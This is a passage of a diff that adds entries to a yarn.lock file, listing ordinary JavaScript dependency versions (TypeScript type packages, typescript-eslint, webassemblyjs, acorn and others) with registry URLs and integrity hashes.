+  resolved "https://registry.yarnpkg.com/@types/http-errors/-/http-errors-2.0.4.tgz#7eb47726c391b7345a6ec35ad7f4de469cf5ba4f"
+  integrity sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==
+
+"@types/http-proxy@^1.17.15", "@types/http-proxy@^1.17.8":
+  version "1.17.15"
+  resolved "https://registry.yarnpkg.com/@types/http-proxy/-/http-proxy-1.17.15.tgz#12118141ce9775a6499ecb4c01d02f90fc839d36"
+  integrity sha512-25g5atgiVNTIv0LBDTg1H74Hvayx0ajtJPLLcYE3whFv75J0pWNtOBzaXJQgDTmrX1bx5U9YC2w/n65BN1HwRQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0", "@types/istanbul-lib-coverage@^2.0.1":
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz#7739c232a1fee9b4d3ce8985f314c0c6d33549d7"
+  integrity sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==
+
+"@types/istanbul-lib-report@*":
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz#53047614ae72e19fc0401d872de3ae2b4ce350bf"
+  integrity sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==
+  dependencies:
+    "@types/istanbul-lib-coverage" "*"
+
+"@types/istanbul-reports@^3.0.0":
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz#0f03e3d2f670fbdac586e34b433783070cc16f54"
+  integrity sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==
+  dependencies:
+    "@types/istanbul-lib-report" "*"
+
+"@types/json-schema@*", "@types/json-schema@^7.0.4", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.8", "@types/json-schema@^7.0.9":
+  version "7.0.15"
+  resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.15.tgz#596a1747233694d50f6ad8a7869fcb6f56cf5841"
+  integrity sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==
+
+"@types/json5@^0.0.29":
+  version "0.0.29"
+  resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
+  integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==
+
+"@types/mime@^1":
+  version "1.3.5"
+  resolved "https://registry.yarnpkg.com/@types/mime/-/mime-1.3.5.tgz#1ef302e01cf7d2b5a0fa526790c9123bf1d06690"
+  integrity sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==
+
+"@types/node-forge@^1.3.0":
+  version "1.3.11"
+  resolved "https://registry.yarnpkg.com/@types/node-forge/-/node-forge-1.3.11.tgz#0972ea538ddb0f4d9c2fa0ec5db5724773a604da"
+  integrity sha512-FQx220y22OKNTqaByeBGqHWYz4cl94tpcxeFdvBo3wjG6XPBuZ0BNgNZRV5J5TFmmcsJ4IzsLkmGRiQbnYsBEQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/node@*":
+  version "22.10.5"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.10.5.tgz#95af89a3fb74a2bb41ef9927f206e6472026e48b"
+  integrity sha512-F8Q+SeGimwOo86fiovQh8qiXfFEh2/ocYv7tU5pJ3EXMSSxk1Joj5wefpFK2fHTf/N6HKGSxIDBT9f3gCxXPkQ==
+  dependencies:
+    undici-types "~6.20.0"
+
+"@types/parse-json@^4.0.0":
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.2.tgz#5950e50960793055845e956c427fc2b0d70c5239"
+  integrity sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==
+
+"@types/prettier@^2.1.5":
+  version "2.7.3"
+  resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.7.3.tgz#3e51a17e291d01d17d3fc61422015a933af7a08f"
+  integrity sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==
+
+"@types/q@^1.5.1":
+  version "1.5.8"
+  resolved "https://registry.yarnpkg.com/@types/q/-/q-1.5.8.tgz#95f6c6a08f2ad868ba230ead1d2d7f7be3db3837"
+  integrity sha512-hroOstUScF6zhIi+5+x0dzqrHA1EJi+Irri6b1fxolMTqqHIV/Cg77EtnQcZqZCu8hR3mX2BzIxN4/GzI68Kfw==
+
+"@types/qs@*":
+  version "6.9.17"
+  resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.9.17.tgz#fc560f60946d0aeff2f914eb41679659d3310e1a"
+  integrity sha512-rX4/bPcfmvxHDv0XjfJELTTr+iB+tn032nPILqHm5wbthUUUuVtNGGqzhya9XUxjTP8Fpr0qYgSZZKxGY++svQ==
+
+"@types/range-parser@*":
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/@types/range-parser/-/range-parser-1.2.7.tgz#50ae4353eaaddc04044279812f52c8c65857dbcb"
+  integrity sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==
+
+"@types/resolve@1.17.1":
+  version "1.17.1"
+  resolved "https://registry.yarnpkg.com/@types/resolve/-/resolve-1.17.1.tgz#3afd6ad8967c77e4376c598a82ddd58f46ec45d6"
+  integrity sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==
+  dependencies:
+    "@types/node" "*"
+
+"@types/retry@0.12.0":
+  version "0.12.0"
+  resolved "https://registry.yarnpkg.com/@types/retry/-/retry-0.12.0.tgz#2b35eccfcee7d38cd72ad99232fbd58bffb3c84d"
+  integrity sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==
+
+"@types/semver@^7.3.12":
+  version "7.5.8"
+  resolved "https://registry.yarnpkg.com/@types/semver/-/semver-7.5.8.tgz#8268a8c57a3e4abd25c165ecd36237db7948a55e"
+  integrity sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==
+
+"@types/send@*":
+  version "0.17.4"
+  resolved "https://registry.yarnpkg.com/@types/send/-/send-0.17.4.tgz#6619cd24e7270793702e4e6a4b958a9010cfc57a"
+  integrity sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==
+  dependencies:
+    "@types/mime" "^1"
+    "@types/node" "*"
+
+"@types/serve-index@^1.9.1":
+  version "1.9.4"
+  resolved "https://registry.yarnpkg.com/@types/serve-index/-/serve-index-1.9.4.tgz#e6ae13d5053cb06ed36392110b4f9a49ac4ec898"
+  integrity sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==
+  dependencies:
+    "@types/express" "*"
+
+"@types/serve-static@*", "@types/serve-static@^1.13.10":
+  version "1.15.7"
+  resolved "https://registry.yarnpkg.com/@types/serve-static/-/serve-static-1.15.7.tgz#22174bbd74fb97fe303109738e9b5c2f3064f714"
+  integrity sha512-W8Ym+h8nhuRwaKPaDw34QUkwsGi6Rc4yYqvKFo5rm2FUEhCFbzVWrxXUxuKK8TASjWsysJY0nsmNCGhCOIsrOw==
+  dependencies:
+    "@types/http-errors" "*"
+    "@types/node" "*"
+    "@types/send" "*"
+
+"@types/sockjs@^0.3.33":
+  version "0.3.36"
+  resolved "https://registry.yarnpkg.com/@types/sockjs/-/sockjs-0.3.36.tgz#ce322cf07bcc119d4cbf7f88954f3a3bd0f67535"
+  integrity sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==
+  dependencies:
+    "@types/node" "*"
+
+"@types/stack-utils@^2.0.0":
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/@types/stack-utils/-/stack-utils-2.0.3.tgz#6209321eb2c1712a7e7466422b8cb1fc0d9dd5d8"
+  integrity sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==
+
+"@types/trusted-types@^2.0.2":
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/@types/trusted-types/-/trusted-types-2.0.7.tgz#baccb07a970b91707df3a3e8ba6896c57ead2d11"
+  integrity sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==
+
+"@types/ws@^8.5.5":
+  version "8.5.13"
+  resolved "https://registry.yarnpkg.com/@types/ws/-/ws-8.5.13.tgz#6414c280875e2691d0d1e080b05addbf5cb91e20"
+  integrity sha512-osM/gWBTPKgHV8XkTunnegTRIsvF6owmf5w+JtAfOw472dptdm0dlGv4xCt6GwQRcC2XVOvvRE/0bAoQcL2QkA==
+  dependencies:
+    "@types/node" "*"
+
+"@types/yargs-parser@*":
+  version "21.0.3"
+  resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-21.0.3.tgz#815e30b786d2e8f0dcd85fd5bcf5e1a04d008f15"
+  integrity sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==
+
+"@types/yargs@^16.0.0":
+  version "16.0.9"
+  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-16.0.9.tgz#ba506215e45f7707e6cbcaf386981155b7ab956e"
+  integrity sha512-tHhzvkFXZQeTECenFoRljLBYPZJ7jAVxqqtEI0qTLOmuultnFp4I9yKE17vTuhf7BkhCu7I4XuemPgikDVuYqA==
+  dependencies:
+    "@types/yargs-parser" "*"
+
+"@types/yargs@^17.0.8":
+  version "17.0.33"
+  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-17.0.33.tgz#8c32303da83eec050a84b3c7ae7b9f922d13e32d"
+  integrity sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==
+  dependencies:
+    "@types/yargs-parser" "*"
+
+"@typescript-eslint/eslint-plugin@^5.5.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.62.0.tgz#aeef0328d172b9e37d9bab6dbc13b87ed88977db"
+  integrity sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==
+  dependencies:
+    "@eslint-community/regexpp" "^4.4.0"
+    "@typescript-eslint/scope-manager" "5.62.0"
+    "@typescript-eslint/type-utils" "5.62.0"
+    "@typescript-eslint/utils" "5.62.0"
+    debug "^4.3.4"
+    graphemer "^1.4.0"
+    ignore "^5.2.0"
+    natural-compare-lite "^1.4.0"
+    semver "^7.3.7"
+    tsutils "^3.21.0"
+
+"@typescript-eslint/experimental-utils@^5.0.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/experimental-utils/-/experimental-utils-5.62.0.tgz#14559bf73383a308026b427a4a6129bae2146741"
+  integrity sha512-RTXpeB3eMkpoclG3ZHft6vG/Z30azNHuqY6wKPBHlVMZFuEvrtlEDe8gMqDb+SO+9hjC/pLekeSCryf9vMZlCw==
+  dependencies:
+    "@typescript-eslint/utils" "5.62.0"
+
+"@typescript-eslint/parser@^5.5.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-5.62.0.tgz#1b63d082d849a2fcae8a569248fbe2ee1b8a56c7"
+  integrity sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==
+  dependencies:
+    "@typescript-eslint/scope-manager" "5.62.0"
+    "@typescript-eslint/types" "5.62.0"
+    "@typescript-eslint/typescript-estree" "5.62.0"
+    debug "^4.3.4"
+
+"@typescript-eslint/scope-manager@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-5.62.0.tgz#d9457ccc6a0b8d6b37d0eb252a23022478c5460c"
+  integrity sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==
+  dependencies:
+    "@typescript-eslint/types" "5.62.0"
+    "@typescript-eslint/visitor-keys" "5.62.0"
+
+"@typescript-eslint/type-utils@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-5.62.0.tgz#286f0389c41681376cdad96b309cedd17d70346a"
+  integrity sha512-xsSQreu+VnfbqQpW5vnCJdq1Z3Q0U31qiWmRhr98ONQmcp/yhiPJFPq8MXiJVLiksmOKSjIldZzkebzHuCGzew==
+  dependencies:
+    "@typescript-eslint/typescript-estree" "5.62.0"
+    "@typescript-eslint/utils" "5.62.0"
+    debug "^4.3.4"
+    tsutils "^3.21.0"
+
+"@typescript-eslint/types@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-5.62.0.tgz#258607e60effa309f067608931c3df6fed41fd2f"
+  integrity sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==
+
+"@typescript-eslint/typescript-estree@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-5.62.0.tgz#7d17794b77fabcac615d6a48fb143330d962eb9b"
+  integrity sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==
+  dependencies:
+    "@typescript-eslint/types" "5.62.0"
+    "@typescript-eslint/visitor-keys" "5.62.0"
+    debug "^4.3.4"
+    globby "^11.1.0"
+    is-glob "^4.0.3"
+    semver "^7.3.7"
+    tsutils "^3.21.0"
+
+"@typescript-eslint/utils@5.62.0", "@typescript-eslint/utils@^5.58.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-5.62.0.tgz#141e809c71636e4a75daa39faed2fb5f4b10df86"
+  integrity sha512-n8oxjeb5aIbPFEtmQxQYOLI0i9n5ySBEY/ZEHHZqKQSFnxio1rv6dthascc9dLuwrL0RC5mPCxB7vnAVGAYWAQ==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@types/json-schema" "^7.0.9"
+    "@types/semver" "^7.3.12"
+    "@typescript-eslint/scope-manager" "5.62.0"
+    "@typescript-eslint/types" "5.62.0"
+    "@typescript-eslint/typescript-estree" "5.62.0"
+    eslint-scope "^5.1.1"
+    semver "^7.3.7"
+
+"@typescript-eslint/visitor-keys@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-5.62.0.tgz#2174011917ce582875954ffe2f6912d5931e353e"
+  integrity sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==
+  dependencies:
+    "@typescript-eslint/types" "5.62.0"
+    eslint-visitor-keys "^3.3.0"
+
+"@ungap/structured-clone@^1.2.0":
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/@ungap/structured-clone/-/structured-clone-1.2.1.tgz#28fa185f67daaf7b7a1a8c1d445132c5d979f8bd"
+  integrity sha512-fEzPV3hSkSMltkw152tJKNARhOupqbH96MZWyRjNaYZOMIzbrTeQDG+MTc6Mr2pgzFQzFxAfmhGDNP5QK++2ZA==
+
+"@webassemblyjs/ast@1.14.1", "@webassemblyjs/ast@^1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.14.1.tgz#a9f6a07f2b03c95c8d38c4536a1fdfb521ff55b6"
+  integrity sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==
+  dependencies:
+    "@webassemblyjs/helper-numbers" "1.13.2"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+
+"@webassemblyjs/floating-point-hex-parser@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz#fcca1eeddb1cc4e7b6eed4fc7956d6813b21b9fb"
+  integrity sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==
+
+"@webassemblyjs/helper-api-error@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz#e0a16152248bc38daee76dd7e21f15c5ef3ab1e7"
+  integrity sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==
+
+"@webassemblyjs/helper-buffer@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz#822a9bc603166531f7d5df84e67b5bf99b72b96b"
+  integrity sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==
+
+"@webassemblyjs/helper-numbers@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz#dbd932548e7119f4b8a7877fd5a8d20e63490b2d"
+  integrity sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==
+  dependencies:
+    "@webassemblyjs/floating-point-hex-parser" "1.13.2"
+    "@webassemblyjs/helper-api-error" "1.13.2"
+    "@xtuc/long" "4.2.2"
+
+"@webassemblyjs/helper-wasm-bytecode@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz#e556108758f448aae84c850e593ce18a0eb31e0b"
+  integrity sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==
+
+"@webassemblyjs/helper-wasm-section@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz#9629dda9c4430eab54b591053d6dc6f3ba050348"
+  integrity sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-buffer" "1.14.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/wasm-gen" "1.14.1"
+
+"@webassemblyjs/ieee754@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz#1c5eaace1d606ada2c7fd7045ea9356c59ee0dba"
+  integrity sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==
+  dependencies:
+    "@xtuc/ieee754" "^1.2.0"
+
+"@webassemblyjs/leb128@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.13.2.tgz#57c5c3deb0105d02ce25fa3fd74f4ebc9fd0bbb0"
+  integrity sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==
+  dependencies:
+    "@xtuc/long" "4.2.2"
+
+"@webassemblyjs/utf8@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.13.2.tgz#917a20e93f71ad5602966c2d685ae0c6c21f60f1"
+  integrity sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==
+
+"@webassemblyjs/wasm-edit@^1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz#ac6689f502219b59198ddec42dcd496b1004d597"
+  integrity sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-buffer" "1.14.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/helper-wasm-section" "1.14.1"
+    "@webassemblyjs/wasm-gen" "1.14.1"
+    "@webassemblyjs/wasm-opt" "1.14.1"
+    "@webassemblyjs/wasm-parser" "1.14.1"
+    "@webassemblyjs/wast-printer" "1.14.1"
+
+"@webassemblyjs/wasm-gen@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz#991e7f0c090cb0bb62bbac882076e3d219da9570"
+  integrity sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/ieee754" "1.13.2"
+    "@webassemblyjs/leb128" "1.13.2"
+    "@webassemblyjs/utf8" "1.13.2"
+
+"@webassemblyjs/wasm-opt@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz#e6f71ed7ccae46781c206017d3c14c50efa8106b"
+  integrity sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-buffer" "1.14.1"
+    "@webassemblyjs/wasm-gen" "1.14.1"
+    "@webassemblyjs/wasm-parser" "1.14.1"
+
+"@webassemblyjs/wasm-parser@1.14.1", "@webassemblyjs/wasm-parser@^1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz#b3e13f1893605ca78b52c68e54cf6a865f90b9fb"
+  integrity sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-api-error" "1.13.2"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/ieee754" "1.13.2"
+    "@webassemblyjs/leb128" "1.13.2"
+    "@webassemblyjs/utf8" "1.13.2"
+
+"@webassemblyjs/wast-printer@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz#3bb3e9638a8ae5fdaf9610e7a06b4d9f9aa6fe07"
+  integrity sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@xtuc/long" "4.2.2"
+
+"@xtuc/ieee754@^1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@xtuc/ieee754/-/ieee754-1.2.0.tgz#eef014a3145ae477a1cbc00cd1e552336dceb790"
+  integrity sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==
+
+"@xtuc/long@4.2.2":
+  version "4.2.2"
+  resolved "https://registry.yarnpkg.com/@xtuc/long/-/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d"
+  integrity sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==
+
+abab@^2.0.3, abab@^2.0.5:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/abab/-/abab-2.0.6.tgz#41b80f2c871d19686216b82309231cfd3cb3d291"
+  integrity sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==
+
+accepts@~1.3.4, accepts@~1.3.8:
+  version "1.3.8"
+  resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.8.tgz#0bf0be125b67014adcb0b0921e62db7bffe16b2e"
+  integrity sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==
+  dependencies:
+    mime-types "~2.1.34"
+    negotiator "0.6.3"
+
+acorn-globals@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-6.0.0.tgz#46cdd39f0f8ff08a876619b55f5ac8a6dc770b45"
+  integrity sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==
+  dependencies:
+    acorn "^7.1.1"
+    acorn-walk "^7.1.1"
+
+acorn-jsx@^5.3.2:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
+  integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
+
+acorn-walk@^7.1.1:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-7.2.0.tgz#0de889a601203909b0fbe07b8938dc21d2e967bc"
+  integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==
+
+acorn@^7.1.1:
+  version "7.4.1"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
+  integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
+
+acorn@^8.14.0, acorn@^8.2.4, acorn@^8.8.2, acorn@^8.9.0:
+  version "8.14.0"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.14.0.tgz#063e2c70cac5fb4f6467f0b11152e04c682795b0"
